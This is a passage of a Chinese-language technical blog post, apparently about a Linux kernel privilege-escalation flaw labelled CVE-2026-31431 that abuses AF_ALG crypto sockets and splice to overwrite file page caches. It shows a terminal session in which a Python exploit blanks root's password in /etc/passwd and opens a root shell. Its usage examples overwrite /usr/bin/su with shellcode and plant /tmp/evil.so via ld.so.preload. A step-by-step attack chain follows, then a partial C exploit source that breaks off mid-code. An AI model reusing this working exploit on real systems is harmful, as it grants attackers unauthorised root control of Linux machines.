Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">试了一下，干成功了！</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="50" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ python3 exploit.py </span><span leaf=""><br/></span><span leaf="">Usage:</span><span leaf=""><br/></span><span leaf="">  exploit.py escalate                        \u2014 patch /etc/passwd, </span><span style="color: rgb(0, 122, 204);"><span leaf="">set</span></span><span leaf=""> current user to uid=0</span><span leaf=""><br/></span><span leaf="">  exploit.py write &lt;file&gt; &lt;offset&gt; &lt;data&gt;    \u2014 arbitrary page-cache write</span><span leaf=""><br/></span><span leaf="">  file    \u2014 path to any readable file</span><span leaf=""><br/></span><span leaf="">  offset  \u2014 byte offset (decimal or 0x hex)</span><span leaf=""><br/></span><span leaf="">  data    \u2014 data to write (string, or @filename to </span><span style="color: rgb(0, 122, 204);"><span leaf="">read</span></span><span leaf=""> from file)</span><span leaf=""><br/></span><span leaf="">Examples:</span><span leaf=""><br/></span><span leaf="">  exploit.py escalate</span><span leaf=""><br/></span><span leaf="">  exploit.py write /usr/bin/su 0x1040 @shellcode.bin</span><span leaf=""><br/></span><span leaf="">  exploit.py write /etc/ld.so.preload 0 </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;/tmp/evil.so\n&#39;</span></span><span leaf=""><br/></span><span leaf="">  exploit.py write /usr/lib/libc.so.6 0x284a0 </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;\x31\xc0\xc3\x90&#39;</span></span><span leaf=""><br/></span><span leaf="">ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ python3 exploit.py escalate</span><span leaf=""><br/></span><span leaf="">[*] CVE-2026-31431 \u2014 Copy Fail</span><span leaf=""><br/></span><span leaf="">[*] Mode: remove root password via /etc/passwd</span><span leaf=""><br/></span><span leaf="">[*] Backup: /tmp/.passwd.bak</span><span leaf=""><br/></span><span leaf="">[*] Before : root:x:0:0:root:/root:/bin/bash</span><span leaf=""><br/></span><span leaf="">[*] After  : root::0:0:root :/root:/bin/bash</span><span leaf=""><br/></span><span leaf="">[*] Offset : 0</span><span leaf=""><br/></span><span leaf="">    [0x000000]  726f6f74  root</span><span leaf=""><br/></span><span leaf="">    [0x000004]  3a3a303a  ::0:</span><span leaf=""><br/></span><span leaf="">    [0x000008]  303a726f  0:ro</span><span leaf=""><br/></span><span leaf="">    [0x00000c]  6f74203a  ot :</span><span leaf=""><br/></span><span leaf="">    [0x000010]  2f726f6f  /roo</span><span leaf=""><br/></span><span leaf="">    [0x000014]  743a2f62  t:/b</span><span leaf=""><br/></span><span leaf="">    [0x000018]  696e2f62  </span><span style="color: rgb(0, 0, 255);"><span leaf="">in</span></span><span leaf="">/b</span><span leaf=""><br/></span><span leaf="">    [0x00001c]  6173680a  ash.</span><span leaf=""><br/></span><span leaf="">[+] Success: root::0:0:root :/root:/bin/bash</span><span leaf=""><br/></span><span leaf="">[*] Recovery: </span><span style="color: rgb(0, 122, 204);"><span leaf="">echo</span></span><span leaf=""> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">[*] Running: su root (no password needed)</span><span leaf=""><br/></span><span leaf="">root@ubuntu:/home/ubuntu/Downloads/CVE-2026-31431-Advanced-Exploit</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># </span></span></code></pre><p data-line="92" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">高级版 Exploit 引入了两个关键改进：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">NULL 指针状态触发</span></strong><p><span leaf="">：通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setsockopt(..., NULL, 4)</span></code><span leaf=""> 强行让内部句柄进入异常状态。</span></p></li><li><strong><span leaf="">三阶段辅助消息</span></strong><p><span leaf="">：在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sendmsg</span></code><span leaf=""> 中构造精密的辅助数据区（Control Data），模拟加密上下文。</span></p></li></ul><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">阶段</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">目的</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: left;"><strong><span leaf="">阶段 1</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);text-align: left;"><p><span leaf="">重置 AEAD 状态机，使其处于待处理状态 (Operation Type 3)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: left;"><strong><span leaf="">阶段 2</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: left;"><p><span leaf="">注入虚假状态，接管内核栈中的偏移量 (Operation Type 2)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: left;"><strong><span leaf="">阶段 3</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);text-align: left;"><p><span leaf="">锁定篡改路径，触发 Page Cache 覆写 (Operation Type 4)</span></p></td></tr></tbody></table><p data-line="103" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">将状态注入与 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice</span></code><span leaf=""> 结合，完整的提权链路如下：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">打开目标只读文件（如 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">）。</span></p></li><li><p><span leaf="">创建 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AF_ALG</span></code><span leaf=""> 类型的 AEAD Socket。</span></p></li><li><p><span leaf="">通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setsockopt</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sendmsg</span></code><span leaf=""> 注入高级版 Exploit 的状态载荷。</span></p></li><li><p><span leaf="">利用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice</span></code><span leaf=""> 将文件内容拉入管道，再从管道推入加密流。</span></p></li><li><p><span leaf="">由于状态机已被劫持，内核会将管道中的数据作为“解密结果”写回到文件的 Page Cache 中。</span></p></li><li><p><span leaf="">执行已在内存中被篡改的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf=""> 进程。</span></p></li></ol><p data-line="111" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从原理上可以看出，这个洞对于安卓系统来说没有什么影响，发行版本的安卓设备不会有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">su</span></code><span leaf="">，自然也是没有影响的。</span></p><p data-line="113" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，我弄了一个C语言版本的，代码如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="115" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/**</span><span leaf=""><br/></span><span leaf=""> * CVE-2026-31431 Universal Exploit (Advanced Version)</span><span leaf=""><br/></span><span leaf=""> * Compile: cc exp.c -lz -o exp</span><span leaf=""><br/></span><span leaf=""> */</span></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> _GNU_SOURCE</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;stdio.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;unistd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;fcntl.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;sys/socket.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;sys/types.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;sys/syscall.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;linux/if_alg.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;zlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">ifndef</span></span><span leaf=""> SPLICE_F_MOVE</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">define</span></span><span leaf=""> SPLICE_F_MOVE 1</span></span><span leaf=""><br/></span><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">endif</span></span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 直接使用 syscall 避免不同发行版头文件差异</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">my_splice</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> fd_in, </span><span style="color: rgb(163, 21, 21);"><span leaf="">loff_t</span></span><span leaf=""> *off_in, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> fd_out, </span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">loff_t</span></span><span leaf=""> *off_out, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> len, </span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> flags)</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> syscall(__NR_splice, fd_in, off_in, fd_out, off_out, len, flags);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 辅助函数：十六进制 Payload 转换</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* </span><span style="color: rgb(128, 128, 128);"><span leaf="">hex_to_bytes</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* hex, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf="">* out_len)</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> len = </span><span style="color: rgb(0, 122, 204);"><span leaf="">strlen</span></span><span leaf="">(hex);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (len % </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf=""> != </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    *out_len = len / </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* bytes = </span><span style="color: rgb(0, 122, 204);"><span leaf="">malloc</span></span><span leaf="">(*out_len);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; *out_len; i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 122, 204);"><span leaf="">sscanf</span></span><span leaf="">(hex + </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">*i, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%2hhx&#34;</span></span><span leaf="">, &amp;bytes[i]) != </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">free</span></span><span leaf="">(bytes);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> bytes;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 触发漏洞的核心函数</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">trigger_exploit</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> su_file_fd, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> payload_offset, </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* payload_chunk)</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> alg_socket = socket(AF_ALG, SOCK_SEQPACKET, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (alg_socket &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">sockaddr_alg</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">sa</span></span><span leaf=""> =</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">        .salg_family = AF_ALG,</span><span leaf=""><br/></span><span leaf="">        .salg_type = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;aead&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        .salg_name = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;authencesn(hmac(sha256),cbc(aes))&#34;</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (bind(alg_socket, (</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sockaddr*)&amp;sa, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(sa)) &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        close(alg_socket);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 设置初始密钥</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> key_len;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* key = hex_to_bytes(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;08000100000000100000000000000000000000000000000000000000000000000000000000000000&#34;</span></span><span leaf="">, &amp;key_len);</span><span leaf=""><br/></span><span leaf="">    setsockopt(alg_socket, SOL_ALG, ALG_SET_KEY, key, key_len);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">free</span></span><span leaf="">(key);</span><span leaf=""><br/></span><span leaf="">    syscall(__NR_setsockopt, alg_socket, SOL_ALG, ALG_SET_KEY, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> encrypted_stream = accept(alg_socket, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (encrypted_stream &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        close(alg_socket);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 构造高级版 sendmsg 载荷</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">msghdr</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">msg</span></span><span leaf=""> =</span></span><span leaf=""> {</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">iovec</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">iov</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> msg_data[</span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(msg_data, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;AAAA&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(msg_data + </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, payload_chunk, </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    iov.iov_base = msg_data;</span><span leaf=""><br/></span><span leaf="">    iov.iov_len = </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    msg.msg_iov = &amp;iov;</span><span leaf=""><br/></span><span leaf="">    msg.msg_iovlen = </span><span style="color: rgb(0, 